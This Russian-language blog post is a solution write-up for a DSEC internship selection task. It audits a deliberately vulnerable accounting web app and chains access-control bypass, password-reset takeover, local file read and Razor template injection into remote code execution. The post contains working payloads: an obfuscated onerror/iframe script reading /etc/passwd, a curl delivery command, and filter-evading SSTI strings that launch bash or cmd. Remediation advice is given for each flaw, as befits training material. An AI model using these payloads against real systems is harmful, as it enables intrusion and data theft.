
C 13 апреля по 10 мая был открыт приём заявок на стажировку Summ3r 0f h4ck 2026.
В этом году на обучающую программу в DSEC by Solar пытались попасть 225 человек – это в несколько раз больше, чем в предыдущие годы!
В качестве испытаний в отборочном этапе нужно было решить 10 задач по практической информационной безопасности и пройти интервью.
Спасибо всем, кто не только пользовался последними достижениями в области AI, но и активно работал над заданиями сам. Мы это очень ценим!
Комментарий от технической команды Summ3r 0f h4ck 2026:
В этом году мы подобрали задания с упором на поиск уязвимостей в веб приложениях, аудиту корпоративной инфраструктуры и поиск уязвимостей в мобильном приложении. В одном из заданий кандидаты расследовали инцидент по логам HTTP-трафика: необходимо было понять, как приложение было взломано, и что смог получить атакующий. Для решения заданий не хватит вузовской программы — нужно активно интересоваться практической ИБ, решать задачи с CTF или лабы по типу Hack The Box.
На стажировку к нам попали 5 участников. Возможно, уже в скором времени они присоединятся к нашей команде.
Мы покажем вам решение одного из тестовых заданий. Остальные решения вы можете найти в блоге на нашем сайте. Надеемся, что материал будет полезен, и поможет попасть на нашу стажировку в следующем году!
👇👇👇
Задание:
Вы анализируете файлы из утечки исходного кода веб-приложения электронной бухгалтерии. Необходимо исследовать представленный код, выявить возможные уязвимости и составить из них цепочку.
Для каждой обнаруженной проблемы требуется привести:
-
конкретное описание уязвимости;
-
максимальный реальный риск;
-
шаги по эксплуатации, полезная нагрузка для реализации этого риска и пояснения к ней;
-
рекомендации по устранению, необходимые замены в коде и комментарии, каким образом они обеспечат защиту.
Ссылка на скачивание файлов: https://github.com/testdsec/SOH2026/tree/main/task_4
Ответ:
1. Нарушение контроля доступа при получении информации о пользователях
Описание
В приложении реализован доступ к информации о пользователях по прямой ссылке с использованием уникальных идентификаторов, при этом некорректно реализована проверка доступа пользователя к информации о другом пользователе,
Риск
Злоумышленник может получить данные обо всех пользователях приложения, включая их идентификаторы и электронные почты. Уязвимость может быть использована для осуществления дальнейших атак на приложение. Аутентификация в приложении для эксплуатации уязвимости не требуется.
Шаги по эксплуатации
В приложении существует функциональность получения информации о пользователях по их идентификатору userId с помощью GET-запроса /api/user?userId={userid}. Обработчик запроса реализован в файле UserController.cs:
int? currentUserId = _currentUserService.GetCurrentUserId(HttpContext) is int id ? id : null; if (!Request.Query.ContainsKey("userId")) { return BadRequest(new { error = "Missing required parameter: userId" }); } string whereClause = string.Empty; if (!string.IsNullOrWhiteSpace(userId)) { ... if (currentUserId == null || requestedUserId != currentUserId.Value) { return Forbid(); } whereClause = $"WHERE u.Id = {userId}"; } string sql = $@"SELECT u.Id, u.Email, u.PasswordHash, u.ResetTokenFROM Users u {whereClause};";
Запрос требует наличие обязательного GET-параметра userId, но при указании данного параметра с пустым значением возможен обход проверки доступа пользователя, от которого выполняется запрос, к пользователю, указанному в параметре userId. Выражение whereClause не формируется и запрос возвращает информацию обо всех пользователях, включающую их идентификаторы и электронные почты. За счет того, что сессия пользователя проверяется в случае, если переданный параметр userId не пуст, то эксплуатация уязвимости доступна неаутентифицированному пользователю.
Пример запроса для получения информации обо всех пользователях приложения:
GET /api/user?userId=Host: <host>
Рекомендации по устранению
-
Запретить выполнять запрос с пустым
userId. -
Корректно проверять сессию пользователя, например с помощью атрибута
[Authorize(Roles = "user")].
2. Захват аккаунта с помощью некорректной реализации механизма сброса пароля
Описание
В приложении некорректно реализован механизм сброса пароля, что позволяет сменить (сбросить) пароль для зарегистрированного пользователя по его электронной почте.
Риск
Злоумышленник может получить полный доступ к аккаунту пользователя, зная его электронную почту.
Электронные почты пользователей могут быть получены с помощью уязвимости из п. 1.
Шаги по эксплуатации
В приложении существует механизм сброса пароля, реализованный с помощью POST-запроса /api/user/password/request (генерация токена для сброса пароля и отправка его на электронную почту) и POST-запроса /api/user/password/reset (сброс пароля по токену и почте). При выполнении запроса на сброс пароля необходимо указать в теле запроса параметры Token и Email.
В коде UserConroller.cs отсутствует проверка, относится ли токен сброса к указанной в запросе почте. Пароль меняется для пользователя, чья почта указана в запросе:
[HttpPost("password/reset")] public IActionResult Reset([FromBody] ResetPasswordModel req) { var resetToken = _db.Users.FirstOrDefault(x => x.ResetToken == req.Token); if (resetToken == null) return BadRequest("Invalid token"); var account = _db.Users.FirstOrDefault(x => x.Email == req.Email); if (account == null) return BadRequest("User not found"); ... account.PasswordHash = $"{Convert.ToBase64String(salt)}:{Convert.ToBase64String(hash)}"; ... _db.SaveChanges(); ...
Таким образом, для захвата аккаунта пользователя необходимо сначала отправить POST-запрос /api/user/password/request c контролируемым email в параметра Email, а затем перейти по ссылке из письма и в POST-запросе с параметрами Token и Email подменить электронную почту на почту жертвы. Тогда для данного аккаунта будет установлен пароль, указанный в параметре NewPassword. Электронные почты жертв могут быть получены с помощью уязвимости из п. 1.
Рекомендации по устранению
Проверять, что электронная почта в запросе на сброс пароля совпадает с почтой, для которой был ранее сгенерирован токен сброса.
3. Local File Read в функциональности генерации PDF-отчетов
Описание
Функциональность генерации PDF позволяет передавать произвольный HTML со стороны клиента, который затем рендерится сервером в браузере headless Chromium через PuppeteerSharp. HTML проходит через самописную санитизацию на основе регулярных выражений.
Данная санитизация некорректная и ее возможно обойти. В результате злоумышленник может выполнить JavaScript в контексте отображаемой страницы, динамически создать iframe с источником file:///... и добиться включения содержимого локального файла сервера в итоговый PDF.
Риск
Злоумышленник может прочитать локальные файлы на сервере, доступные процессу приложения. Это может привести к раскрытию конфиденциальных данных, включая системные файлы, конфигурацию приложения, секреты, ключи, токены.
Запрос требует аутентификации пользователя с ролью user. Открытая регистрация в приложении отсутствует, запрос может быть выполнен от имени пользователя, аккаунт которого захвачен с помощью уязвимости из п. 2.
Шаги по эксплуатации
Функциональность генерации PDF-отчетов реализована в PdfGeneratorController.cs и доступна c помощью метода POST /PdfGenerator.
Эндпоинт принимает HTML-код из тела запроса:
using var reader = new StreamReader(Request.Body);var html = await reader.ReadToEndAsync();html = SanitizeHtml(html);
После этого HTML сохраняется во временный файл и открывается браузером как локальная страница:
await System.IO.File.WriteAllTextAsync(tempHtmlPath, html);var fileUrl = new Uri(tempHtmlPath).AbsoluteUri;await page.GoToAsync(fileUrl, new NavigationOptions{ WaitUntil = new[] { WaitUntilNavigation.Load }});
Браузер при этом запускается с флагом --allow-file-access-from-files, что позволяет странице загружать другие локальные ресурсы. Перед генерацией pdf происходит 2ух секундная пауза, в это время JavaScript на странице может отработать, после чего страница сохраняется в формате pdf:
await page.PdfAsync(tempPdfPath, new PdfOptions{ PrintBackground = true});
Из-за некорректно реализованной самописной санитизации и отсутствия обработчика события onerror в файле events.lst становится возможным исполение JavaScript-кода в контексте страницы.
Пример PoC для эксплуатации:
<!DOCTYPE html><html><body> <img src="x" onerror="eval(atob('dmFyIGlmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwppZnJhbWUuc3JjID0gJ2ZpbGU6Ly8vZXRjL3Bhc3N3ZCc7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTs='))"></body></html>
В base64 закодирован JavaScript-скрипт, который добавляет iframe-элемент, отображающий локальный файл:
var iframe = document.createElement('iframe');iframe.src = 'file:///etc/passwd';document.body.appendChild(iframe);
Для отправки запроса можно воспользоваться Burp Suite или curl:
curl -X POST https://:target-ip:/PdfGenerator -H "Content-Type: text/plain" --data-binary @exploit.html --output result.pdf
Рекомендации по устранению
-
Не рендерить пользовательский ввод как самостоятельный локальный HTML-документ. Формировать PDF из заранее определенного шаблона с помощью шаблонизатора, а пользовательские данные подставлять как текстовые значения в модель.
-
Следует использовать полноценную библиотеку для санитизации HTML с белыми списками тегов и атрибутов.
-
Убрать флаг
--allow-file-access-from-files.
4. Server-Side Template Injection (SSTI) в функциональности отправки расчетного листа
Описание
Функциональность отправки расчетного листа сотруднику по электронной почте позволяет передавать пользовательский комментарий, который добавляется в шаблон письма. Данный шаблон обрабатывается серверным шаблонизатором RazorLight.
Санитизация пользовательского комментария некорректная и ее возможно обойти, что позволяет злоумышленнику внедрить в комментарий специальные конструкции шаблонизатора, которые будут выполнены на стороне сервера.
Риск
Злоумышленник может добиться выполнения серверного кода в процессе генерации письма. Это может привести к раскрытию конфиденциальных данных приложения, обходу логики приложения или выполнению произвольных действий на сервере.
Запрос требует параметр AdminApiKey. Значение токена может быть получено с помощью уязвимости LFR из п. 3. Путь, по которому лежит секрет указан в EmailController.cs:12.
Шаги по эксплуатации
Функциональность отправки расчетного листа реализована в EmailController.cs с помощью методаPOST /api/email/payslip.
При формировании письма используется следующий шаблон:
string template =@"Hello, @Model.Name!Your salary in @Model.Month is @Model.Salary!";
Если в запросе передан параметр Comment, он напрямую добавляется к шаблону:
if (!string.IsNullOrWhiteSpace(req.Comment)){ template += "n" + req.Comment;}
После этого получившийся шаблон компилируется методом: engine.CompileRenderStringAsync(key, template, model);
Это означает, что содержимое Comment обрабатывается как часть Razor-шаблона.
Обход санитизации
В TemplateService.cs реализована фильтрация шаблона:
if (normalized.Contains("@{") || normalized.Contains("@()")) throw new Exception("Code blocks are not allowed");
и блокировка ряда ключевых слов:
systemprocessdiagnosticsreflectionfiledirectorytypeofactivator
Однако данная защита не предотвращает выполнение Razor-выражений вида: @(...), которые продолжают интерпретироваться шаблонизатором.
POC для эксплуатации: https://efigo.pl/en/blog/cve-2024-9150/
С учетом фильтра его необходимо модифицировать. В случае, если система на Linux, то достаточно использовать конкатенацию для обхода блокировки ключевых слов:
"a".GetType().Assembly.GetType("Sys"+"tem.Refle"+"ction.Assembly").GetMethod("LoadFi"+"le").Invoke(null, "/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.32/Syst"+"em.Diag"+"nostics.Proc"+"ess.dll".Split("?")).GetType("Syst"+"em.Diagn"+"ostics.Pro"+"cess").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""touch /tmp/rce-$(whoami)""".Split(","))
Но придется подобрать корректную версию NETCore в пути.
Для Windows GetValue(0) не будет работать, так как целевая функция System.Diagnostics.Process.Start будет находиться под другим индексом, поэтому его тоже придется подобрать.
Пример POC под Windows:
"comment": "@(((dynamic)("a".GetType().Assembly.GetType("Sy"+"stem.Refl"+"ection.Assembly").GetMethod("LoadFi"+"le").Invoke(null, new object[] { "C:/Program Fi"+"les/dotnet/shared/Microsoft.NETCore.App/10.0.5/Sy"+"stem.Diag"+"nostics.Pr"+"ocess.dll" }))).GetType("Sy"+"stem.Diag"+"nostics.Pro"+"cess").GetMethods().GetValue(70).Invoke(null, new object[] { "cmd.exe", "/c whoami" }))"
Рекомендации по устранению
-
Не включать пользовательский ввод в шаблон. Комментарий должен передаваться через модель, а не добавляться в текст шаблона.Пример:
var model = new PayslipModel{ Name = user.Email, Salary = user.Salary, Month = DateTime.UtcNow.ToString("MMMM"), Comment = req.Comment};Шаблон:
string template =@"Hello, @Model.Name!Your salary in @Model.Month is @Model.Salary!@Model.Comment";
5. Возможность перебора учетных записей в функциональности сброса пароля
Описание
При выполнении POST-запроса /api/user/password/reset, который генерирует ссылку для сброса пароля, ответ сервера меняется в зависимости от того, зарегистрирован ли такой адрес электронной почты в организации или нет. Ниже приведена уязвимая функция RequestReset:
[HttpPost("password/request")] public async Task<IActionResult> RequestReset([FromBody] PasswordResetRequest req) { var user = _db.Users .FromSqlRaw("SELECT * FROM Users WHERE Email = {0}", req.Email) .AsNoTracking() .FirstOrDefault(); if (user == null) return Ok(new { message = "Requested user does not exist!" }); ... return Ok(new { message = "Reset email has been sent." }); }
Риск
Злоумышленник может перебрать пароли пользователей
Рекомендации по устранению:
Отказаться от вывода информации о существовании учетной записи при сбросе пароля пользователя.
6. Слабая парольная политика
Описание
В функции сброса пароля Reset (UserController.cs:85), которой соответствует POST-запрос /api/user/password/reset отсутствуют требования к новым паролям. Пользователь имеет возможность установить пароль для учетной записи длиной в 1 символ или пустой пароль.
Риск
Злоумышленник может перебрать пароли пользователей
Рекомендации по устранению
Использовать проверку на сложность пароля на стороне сервера.
Цепочка эксплуатации
С помощью комбинации уязвимостей из пп. 1-4 возможен захват аккаунтов пользователей (уязвимости 1 и 2), а также удаленное выполнение произвольного кода на сервере (уязвимости 3-4). За описание сценария могут быть начислены дополнительные баллы.
Последовательность действий:
-
Перечисление информации обо всех пользователях приложения с помощью баги 1, получение электронных почт пользователей. Эксплуатация не требует аутентификации.
-
Захват аккаунта произвольного пользователя с ролью User с помощью баги 2 через сброс пароля. Почта целевого пользователя может быть получена на предыдущем шаге.
-
Получение секрета
AdminApiKeyс помощью LFR. Искомый путь указан вEmailController.cs:12. Для эксплуатации требуется аккаунт пользователя с рольюuser. -
RCE через SSTI. Для запроса требуется
AdminApiKey, который получен на предыдущем шаге.
ссылка на оригинал статьи https://habr.com/ru/articles/1065452/